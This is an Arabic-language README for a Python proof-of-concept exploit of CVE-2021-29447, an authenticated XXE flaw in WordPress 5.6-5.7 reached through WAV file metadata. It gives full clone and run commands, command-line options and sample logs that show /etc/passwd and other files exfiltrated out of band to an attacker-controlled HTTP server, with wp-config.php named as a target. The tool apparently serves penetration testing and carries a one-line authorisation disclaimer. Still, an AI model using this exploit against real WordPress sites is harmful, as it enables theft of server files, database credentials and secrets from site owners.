
POC لاستغلال حقن XXE المُوثَّق في WordPress 5.6-5.7 (PHP 8+).
نص برمجي بتقنية Python لاستغلال ثغرة XXE المُصادق عليها (CVE-2021-29447) في إصدارات ووردبريس 5.6–5.7 عبر بيانات WAV الوصفية. يستغل مقطع iXML داخل ملفات WAV لإطلاق استخراج خارج النطاق (OOB) للبيانات الحساسة—مثل /etc/passwd و wp-config.php وغيرها—مباشرة إلى مجلد dump/ لديك.
يستغل هذا السكربت خلل الكيان الخارجي XML (XXE) في طريقة تحليل ووردبريس لبيانات WAV الوصفية:
/etc/passwd).dump/.-i): يطلب مسارات الملفات حتى تضغط CTRL+C—مثالي للاستكشاف الفوري.-w <file>): معالجة دفعة لعشرات مسارات الملفات من قائمة.--no-http): استخدم خادم الويب الخاص بك بدلاً من الخادم المدمج.--debug): اعرض سجلات تصحيح مفصلة لـ HTTP والعمليات الداخلية.[CONFIG], [UPLOAD], [DUMP], [WARN], [ERROR]—لفحص الحالة بسرعة.git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
pip3 install requests
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -i
[CONFIG] Interactive mode (CTRL+C to exit)
File> /etc/passwd
[CONFIG] DTD written: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV built
[INFO] Nonce: d87f00a552
[DUMP] Dumped: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulnerable.local/wp-content/uploads/payload.wav
File>
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -w wordlist.txt
[CONFIG] Loaded 4 paths from "wordlist.txt"
[CONFIG] Using HTTP server at 10.10.14.8:8080
[CONFIG] Starting batch exfiltration...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] No exfil for /etc/hostname within 6s, continuing
[UPLOAD] Upload ok (200)
[ERROR] Upload fail (502) on "/nonexistent"
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local --no-http --debug -w wordlist.txt
استخدم خادم HTTP الخاص بك لاستضافة
dtd/والتقاط الاستدعاءات. تظهر سجلات التصحيح بصيغة[DEBUG].
dtd/ – ملفات DTD المُولّدة التي تُقدَّم إلى الهدف.dump/ – محتويات الملفات المفكوكة الترميز، مسماة حسب المسار الأصلي.EXFIL_TIMEOUT (الافتراضي 6 ثوانٍ) للشبكات البطيئة.--debug لتشخيص مشاكل المصادقة أو الرفع أو الاستدعاءات.استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
مرخصة بموجب رخصة MIT. المساهمات مرحّب بها—لنبقَ الاختراق أخلاقيًا وممتعًا! ✨
| Argument | Required | Description |
|---|
-H, --host | ✅ | المضيف المحلي/IP لتقديم DTD واستقبال الاستدعاءات |
-p, --port | ✅ | المنفذ المحلي لخادم HTTP |
-u, --user | ✅ | اسم مستخدم ووردبريس لديه صلاحيات رفع |
-P, --pass | ✅ | كلمة مرور ووردبريس |
-d, --domain | ✅ | عنوان URL لووردبريس الهدف (ضمّن http://) |
-w, --wordlist | ❌ | ملف يحتوي على مسارات مفصولة بأسطر جديدة لجلبها |
-i, --interactive | ❌ | المطالبة بمسارات الملفات بشكل تفاعلي |
--no-http | ❌ | تخطي تشغيل خادم HTTP المدمج |
--debug | ❌ | تفعيل سجلات التصحيح (تفاصيل HTTP والأمور الداخلية المفصلة) |